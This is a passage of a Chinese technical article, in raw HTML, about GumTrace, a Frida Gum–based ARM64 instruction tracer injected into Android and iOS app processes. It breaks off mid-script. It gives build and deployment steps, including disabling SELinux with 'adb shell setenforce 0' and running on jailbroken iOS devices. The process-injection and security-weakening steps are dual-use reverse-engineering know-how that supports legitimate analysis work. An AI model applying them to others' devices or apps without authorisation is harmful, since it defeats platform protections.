leaf="">JavaScript回调处理每条指令</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">JS与Native频繁切换，速度极慢</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">QEMU全系统trace</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">虚拟化层指令插桩</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">无法跑真机，兼容性差</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">DynamoRIO / Pin</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">动态二进制插桩框架</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">不支持Android/iOS真机</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">硬件trace (ETM/CoreSight)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">处理器硬件特性</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">需要特殊硬件调试器，门槛极高</span></p></td></tr></tbody></table><p data-line="21" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">GumTrace</span></code><span leaf="">走了一条不同的路：它以C++共享库的形式注入目标进程，直接调用Frida Gum引擎的C API进行Stalker插桩，完全绕开JavaScript层，将指令追踪的性能推到了接近极限的水平——项目作者实测每3秒可生成约1GB的trace日志。</span></p><p data-line="23" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">本文以</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">GumTrace</span></code><span leaf="">的源码为蓝本，从使用方法、核心架构、插桩引擎、日志格式、函数识别、平台适配和离线污点分析七个维度，完整呈现ARM64动态指令追踪工具的设计与实现。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001466" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=53125a2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeTicbDQE59xsH6dXc4QyOsNF4hiaibf8AKPQxpFj7rgcfT2u6jwI6RkiaUyWPJ5xAunMkkFAQWK0jAVmSJYzRwv5R9FnPHZL3NwZcFg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-line="25" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2 架构总览</span></h2><p data-line="27" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在深入代码细节之前，先建立对GumTrace整体架构的认识。整个系统由三大部分构成：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="29" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">┌────────────────────────────────────────────────────────────────┐</span><br/><span leaf="">│                    Frida 注入层（JavaScript）                    │</span><br/><span leaf="">│  dlopen(libGumTrace.so) → init() → run() → unrun()            │</span><br/><span leaf="">└──────────────────────────┬─────────────────────────────────────┘</span><br/><span leaf="">                           │ C ABI</span><br/><span leaf="">┌──────────────────────────▼─────────────────────────────────────┐</span><br/><span leaf="">│                    GumTrace 核心引擎（C++）                      │</span><br/><span leaf="">│                                                                │</span><br/><span leaf="">│  ┌──────────┐  ┌──────────────┐  ┌──────────────┐             │</span><br/><span leaf="">│  │ GumTrace │  │CallbackContext│  │ FuncPrinter  │             │</span><br/><span leaf="">│  │ 追踪调度  │  │  上下文对象池  │  │ 函数参数打印  │             │</span><br/><span leaf="">│  └────┬─────┘  └──────────────┘  └──────────────┘             │</span><br/><span leaf="">│       │                                                        │</span><br/><span leaf="">│  ┌────▼─────────────────────────────────────────┐              │</span><br/><span leaf="">│  │        Frida Gum Stalker C API               │              │</span><br/><span leaf="">│  │  gum_stalker_follow / transform / callout    │              │</span><br/><span leaf="">│  └──────────────────────────────────────────────┘              │</span><br/><span leaf="">└────────────────────────────────────────────────────────────────┘</span><br/><span leaf="">                           │ trace.log</span><br/><span leaf="">┌──────────────────────────▼─────────────────────────────────────┐</span><br/><span leaf="">│                    离线分析工具                                   │</span><br/><span leaf="">│  ┌──────────────┐  ┌──────────────┐  ┌──────────────────┐      │</span><br/><span leaf="">│  │ TraceParser  │  │ TaintEngine  │  │ TaintTracker.1sc │      │</span><br/><span leaf="">│  │  日志解析器   │  │  污点引擎     │  │ 010 Editor 插件  │      │</span><br/><span leaf="">│  └──────────────┘  └──────────────┘  └──────────────────┘      │</span><br/><span leaf="">└────────────────────────────────────────────────────────────────┘</span></code></pre><p data-line="58" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">设计哲学</span></strong><span leaf="">：GumTrace的设计遵循&#34;追踪时极致性能，分析时离线处理&#34;的原则。追踪阶段只做最必要的信息记录，所有复杂的数据分析（如污点追踪）都推迟到离线阶段完成。</span></p><h2 data-line="60" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3 快速上手</span></h2><h3 data-line="62" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.1 构建</span></h3><p data-line="64" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace支持Android和iOS两个平台。构建依赖Frida Gum静态库（已内置于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">libs/</span></code><span leaf="">目录），因此只需要标准的交叉编译环境。</span></p><p data-line="66" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">Android构建：</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="68" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 编辑 build_android.sh，将 ANDROID_NDK_HOME 指向本机的 NDK 路径</span></span><br/><span leaf="">vim build_android.sh</span><br/><span leaf="">./build_android.sh</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 产物: build_android/libGumTrace.so</span></span></code></pre><p data-line="76" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">构建脚本的核心是通过CMake的Android工具链文件配置交叉编译：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="78" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">cmake .. \</span><br/><span leaf="">    -DCMAKE_TOOLCHAIN_FILE=</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(0, 128, 0);"><span leaf="">$ANDROID_NDK_HOME</span></span><span leaf="">/build/cmake/android.toolchain.cmake&#34;</span></span><span leaf=""> \</span><br/><span leaf="">    -DANDROID_ABI=arm64-v8a \</span><br/><span leaf="">    -DANDROID_PLATFORM=android-24 \</span><br/><span leaf="">    -DCMAKE_BUILD_TYPE=Release</span></code></pre><p data-line="86" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">iOS构建：</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="88" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">./build_ios.sh</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 产物: build_ios/libGumTrace.dylib</span></span></code></pre><p data-line="93" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">iOS构建使用Xcode的iphoneos SDK，目标架构为arm64，最低支持iOS 12.0。构建结果是一个动态库（.dylib），由于禁用了代码签名（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CODE_SIGNING_ALLOWED=NO</span></code><span leaf="">），需要在越狱设备上使用。</span></p><p data-line="95" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">污点分析工具构建：</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="97" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 122, 204);"><span leaf="">cd</span></span><span leaf=""> src/taint</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">mkdir</span></span><span leaf=""> -p build &amp;&amp; </span><span style="color: rgb(0, 122, 204);"><span leaf="">cd</span></span><span leaf=""> build</span><br/><span leaf="">cmake .. &amp;&amp; cmake --build .</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 产物: taint_tracker</span></span></code></pre><h3 data-line="104" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.2 部署与运行</span></h3><p data-line="106" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace以Frida脚本加载的方式注入目标进程。以Android为例，完整的使用流程如下。</span></p><p data-line="108" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">第一步：推送共享库到设备</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="110" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">adb push build_android/libGumTrace.so /data/local/tmp/</span></code></pre><blockquote style=" background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><p data-line="114" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><strong><span leaf="">注意</span></strong><span leaf="">：如果SO加载失败（dlopen返回NULL），通常是SELinux阻止了从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/data/local/tmp/</span></code><span leaf="">加载共享库。需要先关闭SELinux：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;"><code data-line="115" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">adb shell setenforce 0</span></code></pre></blockquote><p data-line="119" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">第二步：编写Frida脚本</span></strong></p><p data-line="121" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace导出三个C函数：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">run</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">unrun</span></code><span leaf="">。通过Frida的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dlopen</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dlsym</span></code><span leaf="">加载库并获取函数指针：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="123" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> traceSoName = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;libGumTrace.so&#39;</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> targetSo = </span><span style="color: 